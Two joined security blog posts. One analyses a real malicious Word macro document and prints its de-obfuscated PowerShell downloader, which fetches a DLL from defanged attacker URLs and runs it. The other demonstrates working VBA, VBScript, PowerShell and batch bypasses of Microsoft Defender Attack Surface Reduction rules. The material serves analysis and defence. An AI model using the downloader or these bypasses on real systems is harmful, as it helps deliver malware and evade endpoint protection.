Microsoft Word Malware Example

Microsoft Word Malware Example

Most malware creators are very creative. Hiding content, obfuscate malicious code, or trick people into clicking messages forcing the malware to run. This blog post will go through real-world Microsoft Word malware to show how nifty some malware can be.

Malicious Word Document

In this example, I will use a real-world example found on the internet. The file is a Microsoft Word document named “Form – Apr 04_2021.doc”:

Image 1: Malicious Word document

The first thing you might notice is the file extension. Since .docx files cannot be used to store macros, malware creators often use the older .doc file extension.

Let us open the document and see what we got:

Image 2: Malicious Word document asking to enable content

Multiple things should catch your attention. Obviously, the “Enable Content” message and the image forcing people to click the “Enable Content” button. There are also 5926 words, and I do not see any words showing in the Word document itself. Lets “select all” using CTRL+A to see if there is any hidden content:

Image 3: 5926 of 5926 words selected

That is odd. Once you select all text, it shows “5926 of 5926 words” on the bottom left. It looks like some text is behind the image. Let us remove the image to see what is behind it. Unfortunately, because of an editing restriction, the image does not move, nor can it be deleted:

Image 4: The image does not move nor can it be deleted

Let us try and remove the restriction using the “Restrict Editing” option:

Image 5: Info / Protect Document / Restrict Editing

Once you click the “Restrict Editing” option, you have an option to stop the protection on the bottom right:

Image 6: Stop Protection option on the bottom right

Once you click the “Stop Protection,” no restriction is set, and the document is editable:

Image 7: No restrictions on the document

Simply deleting the image shows us the 5926 words with white font and font size 2:

Image 8: Hidden text with white font and font size 2

To see what the text contains, we select a black font and a bigger font size:

Image 9: Black font and a bigger font size

It looks like a base64 encoded string, but something is off. To understand what it is, we have to look at the macro. This particular macro uses the hidden text to create a valid base64 encoded string:

Image 10: Obfuscated macro

To bypass Endpoint Detection and Response, attackers obfuscate their macros. This particular macro uses the hidden text to create a valid base64 encoded string. We can try and de-obfuscate the macro, or we can enable PowerShell auditing and check the logging for the base64 encoded string.

Using a local policy, we can allow auditing to capture the base64 string used in this malware:

Image 11: Computer Configuration / Administrative templates / Windows Components / Windows PowerShell

Enable the macro, which starts audit logging and saves the logs in the event viewer:

Image 12: Turn on PowerShell Script Block Logging

Now that we have auditing enabled, click “Enable Content.” The following message box will appear:

Image 13: Fake macro message

Looking in the event viewer shows us a remarkable command (sYSTEm.NeT.wEbcLIEnT) with upper and lower-case characters (often used in malware to bypass signature-based scanning):

Image 14: Upper and lower-case character command to bypass signature based scanning

If we scroll down, we can see the base64 encoded command:

Image 15: Base64 encoded string often used in malware

Let us use PowerShell to decode the base64 encoded string:

Image 16: Variable with base64 encoded string

Use the following command to decode the base64 string:

[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($base64))
Image 17: Decode base64 string

Once the base64 encoded string decoded, it still does not make a lot of sense:

Image 18: Decoded string

let us copy the code to a PowerShell editor:

Image 19: More readable code

A sharp eye notices the download file and rundll32, which loads a DLL file. You can see a variable that contains URLs, but it is hard to read. Let us use PowerShell to de-obfuscate the code:

Image 20: Copy the variable in PowerShell to de-obfuscate code

The de-obfuscated code looks like this:

Set-Variable ydTUW ([type]("System.IO.Directory"))
Set-Variable uaXKHR ([type]("System.Net.ServicePointManager"))

( Get-Item variable:ydtuw  ).value::"createDirectory"($HOME + (('{\Xk8f0bt\B7mwavb\')))
( Get-Item ('variable:UAXkHr')).value::"securityprotocol" = ('Tls12')


$Vzrcqt5 = $HOME + "\Xk8f0bt\B7mwavb\G14C.dll"

$U7_xeo1 = @("hxxp://trainwithconviction.com/wp-admin/y/", "hxxp://trainwithconviction.webdmcsolutions.com/wp-admin/rEEEU/", "hxxps://perrasmoore.ca/wp-admin/rM6HK/", `
        "hxxps://canadabrightway.com/wp-admin/n3/", "hxxps://upinsmokebatonrouge.com/var/Ux1V/", "hxxps://thelambertagency.com/staging/Vo/", "hxxps://stormhansen.com/2556460492/if/")

foreach ($A8ty2bf in $U7_xeo1) {
    try {
        (.('New-Object') system.net.webclient)."downloadfile"($A8ty2bf, $Vzrcqt5)
        If ((.('Get-Item') $Vzrcqt5)."length" -ge 32213) {
            &('rundll32') $Vzrcqt5, (('anystring'))."tostring"()
            break
        }
    }
    catch {
    }
}

The URLs used in this example do not work anymore, but if you could go to the URL, it downloads a DLL file as expected. Luckily, SmartScreen blocks all URLs as well:

Image 21: SmartScreen blocking malicious URLs

Recap

So what this malware does is the following:

  1. Hide a base64 encoded string behind a restricted editing image.
  2. Uses macros to de-obfuscate the base64 string used to download a malicious file.
  3. Runs obfuscated code in PowerShell to download a malicious DLL file and runs the DLL using rundll32.

Mitigation

There are a lot of mitigations for this type of attack. As for any attack, user awareness is always critical, but here are some technical mitigations:

As you can see in the last screenshot, Microsoft Defender SmartScreen blocks malicious websites. SmartScreen scans the website for malicious content and helps to identify malicious websites by blocking them. Be sure to enable Microsoft Defender SmartScreen.

Microsoft Defender for Endpoint detects this payload since the DLL file is downloaded and scanned from the disk. More sophisticated malware using a technique called “Living off the Land”, and makes it possible to run the malware in memory and not touch the disk to bypass Endpoint Detection and Response. If the DLL file is malicious, it will get flagged by a proper Endpoint Detection and Response like Microsoft Defender for Endpoint.

Disabling macros is also an option. Not everyone needs to run macros. As it is a typical attack, disabling macros for most people should be an option.

Not accepting files with the .doc or .docm extension should mitigate this type of attack as well since .docx (the newer format) does not support macros.

The Microsoft Word document needs to be delivered to the user. A typical attack is sending the Microsoft Word document by e-mail. Microsoft Defender for Office 365 blocks most malicious payload and is one of the best mitigations for this type of attack.

As you can see, there are a lot of mitigations for this type of attack. Layered security is key here, and if properly configured, most Microsoft security products block this attack.

Conclusion

Although malware creators are very creative, one misstep will block the malware. Even if Microsoft Defender SmartScreen does not detect the malicious website, other Microsoft security products will block this attack. Luckily this malware was blocked by Microsoft Defender for Endpoint since the malicious payload is saved to disk, which makes it easy to detect. If it was not detected, the attacker would get caught in one of the next steps for sure.

Microsoft Defender Antivirus Attack Surface Reduction Rules Bypasses

Microsoft Defender Antivirus Attack Surface Reduction Rules Bypasses

Microsoft Defender Antivirus Exploit Guard is a set of intrusion prevention capabilities that includes Attack Surface Reduction Rules. The Attack Surface Reduction rules are rules to lock down various attack vectors commonly used in malware. In this blog post, I will go through some of the rules and show how to bypass them.

Attack Surface Reduction

Microsoft Defender Antivirus Exploit Guard contains the following four features.

Image 1: Exploit Guard features

In this blog post, I will zoom in on Attack Surface Reduction.

This table shows all Attack Surface Reduction rules and their corresponding GUIDs, which you use to configure the rules using Group Policies or PowerShell. Other methods to enable the Attack Surface Reduction rules are Microsoft Intune, Mobile Device Management, and Microsoft Endpoint Configuration Manager.

Rule NameGUID
Block executable content from email client and webmailBE9BA2D9-53EA-4CDC-84E5-9B1EEEE46550
Block all Office applications from creating child processesD4F940AB-401B-4EFC-AADC-AD5F3C50688A
Block Office applications from creating executable content3B576869-A4EC-4529-8536-B80A7769E899
Block Office applications from injecting code into other processes75668C1F-73B5-4CF0-BB93-3ECF5CB7CC84
Block JavaScript or VBScript from launching downloaded executable contentD3E037E1-3EB8-44C8-A917-57927947596D
Block execution of potentially obfuscated scripts5BEB7EFE-FD9A-4556-801D-275E5FFC04CC
Block Win32 API calls from Office macros92E97FA1-2EDF-4476-BDD6-9DD0B4DDDC7B
Block executable files from running unless they meet a prevalence, age, or trusted list criterion01443614-cd74-433a-b99e-2ecdc07bfc25
Use advanced protection against ransomwarec1db55ab-c21a-4637-bb3f-a12568109d35
Block credential stealing from the Windows local security authority subsystem (lsass.exe)9e6c4e1f-7d60-472f-ba1a-a39ef669e4b2
Block process creations originating from PSExec and WMI commandsd1e49aac-8f56-4280-b9ba-993a6d77406c
Block untrusted and unsigned processes that run from USBb2b3f03d-6a65-4f7b-a9c7-1c7ef74a9ba4
Block Office communication application from creating child processes26190899-1602-49e8-8b27-eb1d0a1ce869
Block Adobe Reader from creating child processes7674ba52-37eb-4a4f-a9a1-f0f9a1619a2c
Block persistence through WMI event subscriptione6db77e5-3df2-4cf1-b95a-636979351e5b
Table 1: Rule names with the corresponding GUID

Each Attack Surface Reduction rule contains the following three settings.

  • Not configured: Disable the ASR rule
  • Block: Enable the ASR rule
  • Audit: Evaluate how the ASR rule would impact your organization if enabled

When the rule applies in audit mode, an event is created in the Event Viewer but does not block any code. If the rule applies in block mode, it stops executing the code, makes an event in the Event Viewer, and Microsoft Defender Antivirus shows an alert that Attack Surface Reduction blocked the attack vector.

There is a Microsoft link that contains some Attack Surface Reduction examples, which you can download. There is a total of six samples I used to test the Attack Surface Reduction rules.

Image 2: Microsoft test files

Block Office applications from creating child processes

Let us take a look at the first example. Here is the description of the rule from Microsoft.

“This rule blocks Office apps from creating child processes. This includes Word, Excel, PowerPoint, OneNote, and Access.

Creating malicious child processes is a common malware strategy. Malware that abuse Office as a vector often run VBA macros and exploit code to download and attempt to run additional payloads. However, some legitimate line-of-business applications might also generate child processes for benign purposes, such as spawning a command prompt or using PowerShell to configure registry settings.”

First, we open the file with no rules configured. If you open the file and click “Enable Content,” a macro will run, and a Command Prompt appears.

Image 3: TestFile_OfficeChildProcess_D4F940AB-401B-4EFC-AADC-AD5F3C50688A.docm

Here is the macro from the example.

Public Sub Document_Open()
 Shell "cmd.exe", vbNormalFocus
 End Sub
 Private Sub Document_Close()
     On Error GoTo ErrorHandler
     Set WshShell = CreateObject("WScript.Shell")
     WshShell.RegDelete "HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Word\Security\Trusted Documents\TrustRecords\"
 ErrorHandler:
 End Sub

The macro uses the Windows Script Host Object to start a Command Prompt. The rule states that Office Applications is blocked to create child processes. What if we use the macro to talk to, for example, WMI and let WMI start a child process? First, I enabled the Attack Surface Reduction rule and ran the same file to see if the macro gets blocked by Attack Surface Reduction.

Image 4: Macro gets blocked when you enable the rule Block Office applications from creating child processes

The Attack Surface Reduction rule has blocked the macro from creating a child process. I used the following code to let WMI start a child process.

Public Sub Document_Open()
  Const HIDDEN_WINDOW = 1
  strComputer = "."
  Set objWMIService = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
  Set objStartup = objWMIService.Get("Win32_ProcessStartup")
  Set objConfig = objStartup.SpawnInstance_
  objConfig.ShowWindow = HIDDEN_WINDOW
  Set objProcess = GetObject("winmgmts:root\cimv2:Win32_Process")
  errReturn = objProcess.Create("cmd.exe", Null, objConfig, intProcessID)
End Sub

If you use the code above and open the document, you will see the macro starts a Command Prompt just fine.

Image 5: The macro runs just fine when you use WMI to start a child process

As you can see, this works just fine with the Attack Surface Reduction rule enabled. However, there is another rule which blocks process, if enabled, creation originating from WMI commands. Continue reading to see how to bypass that rule as well.

Block Office applications from creating executable content

Let us take a look at the second example. Here is the description of the rule from Microsoft.

“This rule prevents Office apps, including Word, Excel, and PowerPoint, from creating potentially malicious executable content, by blocking malicious code from being written to disk.

Malware that abuses Office as a vector may attempt to break out of Office and save malicious components to disk. These malicious components would survive a computer reboot and persist on the system. Therefore, this rule defends against a common persistence technique.”

The example drops an executable on disk, runs it, and encrypts all files in the c:\demo folder if the rule is not enabled or set to audit mode.

Image 6: TestFile_Block_Office_applications_from_creating_executable_content_3B576869-A4EC-4529-8536-B80A7769E899.docm

I used the following code to drop an executable on disk.

Sub Auto_Open()
  Dim fso As Object
  Set fso = CreateObject("Scripting.FileSystemObject")
  Dim Fileout As Object
  Set Fileout = fso.CreateTextFile("C:\temp\thalpius.exe", True, True)
  Fileout.Write "your string goes here"
  Fileout.Close
End Sub

With the rule enabled, it indeed gets blocked.

Image 7: When creating an executable, it does get blocked

I was wondering what would happen if you create a non-executable file.

Sub Auto_Open()
  Dim fso As Object
  Set fso = CreateObject("Scripting.FileSystemObject")
  Dim Fileout As Object
  Set Fileout = fso.CreateTextFile("C:\temp\thalpius.lol", True, True)
  Fileout.Write "your string goes here"
  Fileout.Close
End Sub

Interestingly enough, this works just fine.

Image 8: Create a non-executable file works fine

So what if you create a non-executable file first and change the extension to an executable file? You can drop a non-executable file and rename it to an executable file using the following code.

Sub Auto_Open()
  Dim fso As Object
  Set fso = CreateObject("Scripting.FileSystemObject")
  Dim Fileout As Object
  Set Fileout = fso.CreateTextFile("C:\temp\thalpius.txt", True, True)
  Fileout.Write "your string goes here"
  Fileout.Close
  Name "C:\temp\thalpius.txt" As "C:\temp\thalpius.exe"
End Sub

Now we run the macro above and see what happens.

Image 9: Create a non-executable file and rename it to an executable file

As you can see, this works just fine, and you bypass the Attack Surface Reduction rule.

Block JavaScript or VBScript from launching downloaded executable content

Let us take a look at the third example. Here is the description of the rule from Microsoft.

“This rule prevents scripts from launching potentially malicious downloaded content. Malware written in JavaScript or VBScript often acts as a downloader to fetch and launch other malware from the Internet.

Although not common, line-of-business applications sometimes use scripts to download and launch installers.”

The following code is an example from Microsoft.

// SCPT:xmlHttpRequest
var xmlHttp = WScript.CreateObject("MSXML2.XMLHTTP");
xmlHttp.open("GET", "https://www.bing.com", false);
xmlHttp.send();
// SCPT:JSRunsFile
var shell = WScript.CreateObject("WScript.Shell");
shell.Run("notepad.exe");

So I have created a Visual Basic Script which downloads a file and executes it.

Dim objShell
Dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
Dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", "https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe", False
xHttp.Send
with bStrm
    .type = 1
    .open
    .write xHttp.responseBody
    .savetofile "c:\temp\putty.exe", 2
end with
Set objShell = WScript.CreateObject( "WScript.Shell" )
objShell.Exec("c:\temp\putty.exe")

Although, to my surprise, it runs just fine even with the rule enabled.

Image 10: Visual Basic Script which downloads a file and executes it

I created a macro as well since it uses the scripting engine by Windows, but that works just fine as well.

Sub DownloadFile()
  Dim myURL As String
  myURL = "https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe"
  Dim WinHttpReq As Object
  Set WinHttpReq = CreateObject("Microsoft.XMLHTTP")
  WinHttpReq.Open "GET", myURL, False, "username", "password"
  WinHttpReq.send
  If WinHttpReq.Status = 200 Then
    Set oStream = CreateObject("ADODB.Stream")
    oStream.Open
    oStream.Type = 1
    oStream.Write WinHttpReq.responseBody
    oStream.SaveToFile "C:\temp\putty.exe", 2 ' 1 = no overwrite, 2 = overwrite
    oStream.Close
  End If
End Sub
Sub Auto_Open()
  DownloadFile
  CreateObject("WScript.Shell").Run "c:\temp\putty.exe", 1
End Sub

I have no idea why this code is not blocked, but it seems that this bypasses the Attack Surface Reduction rule.

Block Process Creations originating from PSExec & WMI commands

Let us take a look at the fourth example. Here is the description of the rule from Microsoft.

“This rule blocks processes created through PsExec and WMI from running. Both PsExec and WMI can remotely execute code, so there is a risk of malware abusing this functionality for command and control purposes, or to spread an infection throughout an organization’s network.”

If you start the Visual Basic Script, it starts notepad.

Image 11: The example starts notepad

With the rule enabled, it does block the example script as intended.

Image 12: The example getting blocked when the rule is enabled

The PowerShell cmdlet “Register-ScheduledTask” uses Windows Management Instruments (WMI) to create a scheduled task. I was wondering if this gets blocked as well.

$A = New-ScheduledTaskAction -Execute "cmd.exe"
$T = New-ScheduledTaskTrigger -once -At 5:25pm
$S = New-ScheduledTaskSettingsSet
$D = New-ScheduledTask -Action $A -Trigger $T -Settings $S
Register-ScheduledTask Evil -InputObject $D

Creating a scheduled task using the code above bypasses the Attack Surface Reduction rule. There is an event in the WMI Event Viewer, but the scheduled task still runs just fine.

Block untrusted and unsigned processes that run from USB

Let us take a look at the fifth example. Here is the description of the rule from Microsoft.

“With this rule, admins can prevent unsigned or untrusted executable files from running from USB removable drives, including SD cards. Blocked file types include executable files (such as .exe, .dll, or .scr)”

If you run the executable from a USB drive, it will encrypt files in the c:\demo folder and show a popup with a message that your files are encrypted.

Image 13: UNSIGNED_ransomware_test_exe.exe

I copied the file to a USB drive and enabled the rule to be sure the rule works. Surely it does.

Image 14: UNSIGNED_ransomware_test_exe.exe gets blocked

I wondered what would happen if I copy the same file to a fixed disk and run it from there using the following code.

xcopy /s UNSIGNED_ransomware_test_exe.exe %temp% /y
start %temp%\UNSIGNED_ransomware_test_exe.exe

When you save the code above as a .bat file and run the file from a USB disk, the executable runs just fine.

Image 15: The bypass works just fine

It should not be too hard to embed an executable in a batch file to start from a USB drive to bypass this Attack Surface Reduction rule.

Conclusion

Although Exploit Guard Attack Surface Reduction rules work great with Microsoft Defender Antivirus, the alerts stay on the endpoint. To send the events to a centralized dashboard for advanced monitoring, you need to implement a Security Information and Event Management (SIEM) solution like Microsoft Sentinel or use Microsoft Defender for Endpoint.

I did not look at all Attack Surface Reduction rules, but it is relatively easy to bypass those rules. Although an attacker can not make any mistake or the attacker will get detected. Especially if you are using Microsoft Defender for Endpoint as the alerts show up in a centralized cloud portal and detect any anomalies. Bypassing the Attack Surface Reduction rules alone is not enough for an attacker to execute malicious code, and an attacker hopefully will get caught when moving laterally. Either monitoring the events in the Event Viewer using a SIEM solution or use Microsoft Defender for Endpoint is critical, though.